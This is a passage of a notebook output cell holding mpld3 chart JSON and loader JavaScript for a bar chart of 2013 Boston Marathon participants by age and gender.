\"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114425192272\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114425193936\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 3, \"data\": \"data36\", \"id\": \"el126114425195216\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data17\", \"id\": \"el126114425209616\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114425211280\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114425225296\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114425226960\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114425228240\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 4, \"data\": \"data01\", \"id\": \"el126114425242640\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 5, \"data\": \"data01\", \"id\": \"el126114425244304\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 6, \"data\": \"data01\", \"id\": \"el126114425258320\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 3, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 7, \"data\": \"data01\", \"id\": \"el126114425259984\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114430803600\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 4, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data02\", \"id\": \"el126114430805264\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 4, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 5, \"data\": \"data02\", \"id\": \"el126114430806544\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 2, \"data\": \"data01\", \"id\": \"el126114430824272\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114430825552\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 9, \"data\": \"data01\", \"id\": \"el126114430827216\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 10, \"data\": \"data01\", \"id\": \"el126114430844944\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 8, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.6, \"xindex\": 11, \"data\": \"data01\", \"id\": \"el126114430846224\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114430857424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#FFC0CB\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 2, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 0.6, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114430858704\"}, {\"edgecolor\": \"#000000\", \"facecolor\": \"#FFFFFF\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"axes\", \"dasharray\": \"10,0\", \"zorder\": 1000001.0, \"alpha\": 1, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114430847632\"}], \"sharey\": [], \"sharex\": [], \"axesbgalpha\": null, \"axes\": [{\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"bottom\", \"nticks\": 8, \"tickvalues\": null}, {\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"left\", \"nticks\": 10, \"tickvalues\": null}], \"lines\": [], \"markers\": [], \"id\": \"el126114423957840\", \"ydomain\": [0.0, 450.0], \"collections\": [], \"xscale\": \"linear\", \"bbox\": [0.125, 0.125, 0.77500000000000002, 0.77500000000000002]}], \"height\": 400.0, \"width\": 800.0, \"plugins\": [{\"type\": \"reset\"}, {\"enabled\": false, \"button\": true, \"type\": \"zoom\"}, {\"enabled\": false, \"button\": true, \"type\": \"boxzoom\"}], \"data\": {\"data42\": [[61.0, 0.0, 0.0], [61.8, 0.0, 0.0], [61.8, 114.0, 19.0], [61.0, 114.0, 19.0]], \"data43\": [[62.0, 0.0], [62.8, 0.0], [62.8, 101.0], [62.0, 101.0]], \"data40\": [[59.0, 0.0, 0.0], [59.8, 0.0, 0.0], [59.8, 98.0, 20.0], [59.0, 98.0, 20.0]], \"data41\": [[60.0, 0.0, 0.0], [60.8, 0.0, 0.0], [60.8, 163.0, 15.0], [60.0, 163.0, 15.0]], \"data46\": [[65.0, 0.0], [65.8, 0.0], [65.8, 52.0], [65.0, 52.0]], \"data47\": [[66.0, 0.0, 0.0], [66.8, 0.0, 0.0], [66.8, 34.0, 3.0], [66.0, 34.0, 3.0]], \"data44\": [[63.0, 0.0], [63.8, 0.0], [63.8, 66.0], [63.0, 66.0]], \"data45\": [[64.0, 0.0], [64.8, 0.0], [64.8, 49.0], [64.0, 49.0]], \"data48\": [[68.0, 0.0], [68.8, 0.0], [68.8, 16.0], [68.0, 16.0]], \"data49\": [[70.0, 0.0, 0.0], [70.8, 0.0, 0.0], [70.8, 10.0, 1.0], [70.0, 10.0, 1.0]], \"data50\": [[71.0, 0.0], [71.8, 0.0], [71.8, 2.0], [71.0, 2.0]], \"data53\": [[74.0, 0.0, 77.0, 79.0], [74.8, 0.0, 77.8, 79.8], [74.8, 0.0, 77.8, 79.8], [74.0, 0.0, 77.0, 79.0]], \"data28\": [[46.0, 0.0, 0.0], [46.8, 0.0, 0.0], [46.8, 383.0, 218.0], [46.0, 383.0, 218.0]], \"data06\": [[23.0, 0.0, 0.0], [23.8, 0.0, 0.0], [23.8, 70.0, 99.0], [23.0, 70.0, 99.0]], \"data52\": [[73.0, 0.0, 75.0], [73.8, 0.0, 75.8], [73.8, 3.0, 75.8], [73.0, 3.0, 75.0]], \"data08\": [[25.0, 0.0, 0.0], [25.8, 0.0, 0.0], [25.8, 126.0, 153.0], [25.0, 126.0, 153.0]], \"data09\": [[26.0, 0.0, 0.0, 49.0], [26.8, 0.0, 0.0, 49.8], [26.8, 158.0, 168.0, 49.8], [26.0, 158.0, 168.0, 49.0]], \"data20\": [[37.0, 0.0, 39.0, 0.0, 0.0], [37.8, 0.0, 39.8, 0.0, 0.0], [37.8, 244.0, 39.8, 225.0, 234.0], [37.0, 244.0, 39.0, 225.0, 234.0]], \"data21\": [[38.0, 0.0, 0.0], [38.8, 0.0, 0.0], [38.8, 280.0, 264.0], [38.0, 280.0, 264.0]], \"data22\": [[40.0, 0.0, 0.0], [40.8, 0.0, 0.0], [40.8, 308.0, 235.0], [40.0, 308.0, 235.0]], \"data05\": [[22.0, 0.0, 0.0, 53.0], [22.8, 0.0, 0.0, 53.8], [22.8, 48.0, 53.0, 53.8], [22.0, 48.0, 53.0, 53.0]], \"data02\": [[19.0, 0.0, 67.0, 0.0, 0.0, 68.0], [19.8, 0.0, 67.8, 0.0, 0.0, 68.8], [19.8, 12.0, 67.8, 14.0, 0.0, 68.8], [19.0, 12.0, 67.0, 14.0, 0.0, 68.0]], \"data04\": [[21.0, 0.0, 0.0], [21.8, 0.0, 0.0], [21.8, 44.0, 34.0], [21.0, 44.0, 34.0]], \"data26\": [[44.0, 0.0, 0.0], [44.8, 0.0, 0.0], [44.8, 265.0, 187.0], [44.0, 265.0, 187.0]], \"data01\": [[18.0, 0.0, 69.0, 0.0, 62.0, 63.0, 64.0, 65.0, 0.0, 71.0, 72.0, 73.0], [18.8, 0.0, 69.8, 0.0, 62.8, 63.8, 64.8, 65.8, 0.0, 71.8, 72.8, 73.8], [18.8, 8.0, 69.8, 5.0, 62.8, 63.8, 64.8, 65.8, 0.0, 71.8, 72.8, 73.8], [18.0, 8.0, 69.0, 5.0, 62.0, 63.0, 64.0, 65.0, 0.0, 71.0, 72.0, 73.0]], \"data55\": [[0.8412718413978496, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.929032258064516, 0.8655913978494622], [0.8842825940860216, 0.9591397849462364, 0.8956989247311826], [0.8412718413978496, 0.9591397849462364, 0.8956989247311826]], \"data23\": [[41.0, 0.0, 0.0], [41.8, 0.0, 0.0], [41.8, 324.0, 260.0], [41.0, 324.0, 260.0]], \"data51\": [[72.0, 0.0], [72.8, 0.0], [72.8, 4.0], [72.0, 4.0]], \"data24\": [[42.0, 0.0], [42.8, 0.0], [42.8, 323.0], [42.0, 323.0]], \"data56\": [[0.8326696908602151, 0.8387096774193546], [0.9892473118279571, 0.8387096774193546], [0.9892473118279571, 0.9784946236559137], [0.8326696908602151, 0.9784946236559137], [0.8326696908602151, 0.8387096774193546]], \"data03\": [[20.0, 0.0, 0.0], [20.8, 0.0, 0.0], [20.8, 27.0, 23.0], [20.0, 27.0, 23.0]], \"data27\": [[45.0, 0.0, 0.0], [45.8, 0.0, 0.0], [45.8, 434.0, 251.0], [45.0, 434.0, 251.0]], \"data07\": [[24.0, 0.0, 0.0], [24.8, 0.0, 0.0], [24.8, 96.0, 152.0], [24.0, 96.0, 152.0]], \"data54\": [[76.0, 0.0, 78.0], [76.8, 0.0, 78.8], [76.8, 1.0, 78.8], [76.0, 1.0, 78.0]], \"data37\": [[55.0, 0.0, 0.0], [55.8, 0.0, 0.0], [55.8, 272.0, 68.0], [55.0, 272.0, 68.0]], \"data36\": [[54.0, 0.0, 0.0, 56.0], [54.8, 0.0, 0.0, 56.8], [54.8, 210.0, 66.0, 56.8], [54.0, 210.0, 66.0, 56.0]], \"data35\": [[53.0, 0.0], [53.8, 0.0], [53.8, 257.0], [53.0, 257.0]], \"data34\": [[52.0, 0.0, 0.0], [52.8, 0.0, 0.0], [52.8, 301.0, 108.0], [52.0, 301.0, 108.0]], \"data25\": [[43.0, 0.0, 0.0], [43.8, 0.0, 0.0], [43.8, 288.0, 217.0], [43.0, 288.0, 217.0]], \"data32\": [[50.0, 0.0, 0.0], [50.8, 0.0, 0.0], [50.8, 376.0, 173.0], [50.0, 376.0, 173.0]], \"data31\": [[49.0, 0.0], [49.8, 0.0], [49.8, 325.0], [49.0, 325.0]], \"data30\": [[48.0, 0.0, 0.0], [48.8, 0.0, 0.0], [48.8, 309.0, 198.0], [48.0, 309.0, 198.0]], \"data39\": [[58.0, 0.0, 0.0], [58.8, 0.0, 0.0], [58.8, 159.0, 28.0], [58.0, 159.0, 28.0]], \"data38\": [[56.0, 0.0], [56.8, 0.0], [56.8, 252.0], [56.0, 252.0]], \"data19\": [[36.0, 0.0, 0.0], [36.8, 0.0, 0.0], [36.8, 208.0, 283.0], [36.0, 208.0, 283.0]], \"data18\": [[35.0, 0.0, 0.0, 42.0], [35.8, 0.0, 0.0, 42.8], [35.8, 243.0, 253.0, 42.8], [35.0, 243.0, 253.0, 42.0]], \"data15\": [[32.0, 0.0, 0.0], [32.8, 0.0, 0.0], [32.8, 182.0, 190.0], [32.0, 182.0, 190.0]], \"data14\": [[31.0, 0.0, 0.0], [31.8, 0.0, 0.0], [31.8, 188.0, 183.0], [31.0, 188.0, 183.0]], \"data17\": [[34.0, 0.0, 57.0, 0.0], [34.8, 0.0, 57.8, 0.0], [34.8, 180.0, 57.8, 33.0], [34.0, 180.0, 57.0, 33.0]], \"data16\": [[33.0, 0.0, 0.0], [33.8, 0.0, 0.0], [33.8, 215.0, 172.0], [33.0, 215.0, 172.0]], \"data11\": [[28.0, 0.0, 0.0], [28.8, 0.0, 0.0], [28.8, 171.0, 209.0], [28.0, 171.0, 209.0]], \"data10\": [[27.0, 0.0, 0.0], [27.8, 0.0, 0.0], [27.8, 166.0, 206.0], [27.0, 166.0, 206.0]], \"data13\": [[30.0, 0.0, 0.0], [30.8, 0.0, 0.0], [30.8, 211.0, 185.0], [30.0, 211.0, 185.0]], \"data12\": [[29.0, 0.0, 0.0], [29.8, 0.0, 0.0], [29.8, 164.0, 213.0], [29.0, 164.0, 213.0]], \"data29\": [[47.0, 0.0, 0.0], [47.8, 0.0, 0.0], [47.8, 343.0, 197.0], [47.0, 343.0, 197.0]], \"data33\": [[51.0, 0.0, 0.0], [51.8, 0.0, 0.0], [51.8, 348.0, 135.0], [51.0, 348.0, 135.0]]}, \"id\": \"el126114423497424\"});\n", " }(mpld3);\n", "}else if(typeof define === \"function\" && define.amd){\n", " // require.js is available: use it to load d3/mpld3\n", " require.config({paths: {d3: \"https://mpld3.github.io/js/d3.v3.min\"}});\n", " require([\"d3\"], function(d3){\n", " window.d3 = d3;\n", " mpld3_load_lib(\"https://mpld3.github.io/js/mpld3.v0.2.js\", function(){\n", " \n", " mpld3.draw_figure(\"fig_el1261144234974248700677121\", {\"axes\": [{\"xlim\": [10.0, 80.0], \"yscale\": \"linear\", \"axesbg\": \"#EEEEEE\", \"texts\": [{\"v_baseline\": \"auto\", \"h_anchor\": \"middle\", \"color\": \"#000000\", \"text\": \"2013 Boston Marathon participants, by age and gender\", \"coordinates\": \"axes\", \"zorder\": 3, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.5, 1.0179211469534051], \"rotation\": -0.0, \"id\": \"el126114423915664\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Men\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.92903225806451595], \"rotation\": -0.0, \"id\": \"el126114430856592\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Women\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.86559139784946215], \"rotation\": -0.0, \"id\": \"el126114430857808\"}], \"zoomable\": true, \"images\": [], \"xdomain\": [10.0, 80.0], \"ylim\": [0.0, 450.0], \"paths\": [{\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114423405008\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114423404816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114423403536\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114363088784\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114409694736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114423414288\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114423417424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114423417040\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114425010576\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114423734352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114423736016\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114423737296\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114423813136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114423814800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114423750096\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114423752720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114423942800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114423944464\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data19\", \"id\": \"el126114423946128\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data20\", \"id\": \"el126114423906896\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data21\", \"id\": \"el126114423908560\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 2, \"data\": \"data20\", \"id\": \"el126114423725968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data22\", \"id\": \"el126114423727632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data23\", \"id\": \"el126114423728912\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data24\", \"id\": \"el126114423718736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data25\", \"id\": \"el126114423720400\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114423787664\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, 